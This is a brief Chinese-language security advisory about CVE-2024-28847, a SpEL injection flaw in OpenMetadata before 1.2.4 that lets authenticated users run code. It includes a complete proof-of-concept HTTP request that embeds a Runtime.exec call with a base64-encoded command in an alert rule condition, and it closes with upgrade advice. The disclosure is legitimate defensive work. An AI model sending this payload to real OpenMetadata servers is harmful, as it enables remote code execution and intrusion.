【漏洞预警】OpenMetadata SPEL注入漏洞 (CVE-2024-28847)

漏洞详情:
OpenMetadata是一个统一的发现、可观察和治理平台,由中央元数据存储库、深入的沿袭和无缝团队协作提供支持,OpenMetadata 1.2.4之前版本存在安全漏洞,该漏洞源于PUT /api/v1/events/subscriptions中存在SpEL注入漏洞,经过身份验证的攻击者可利用该漏洞执行远程代码。

PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353

{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}

修复方案:

官方已经发布了修复补丁,请立即更新到安全版本:

OpenMetadata >= 1.2.4

下载链接:
https://github.com/open-metadata/OpenMetadata/releases

原文始发于微信公众号（飓风网络安全）：【漏洞预警】OpenMetadata SPEL注入漏洞 (CVE-2024-28847)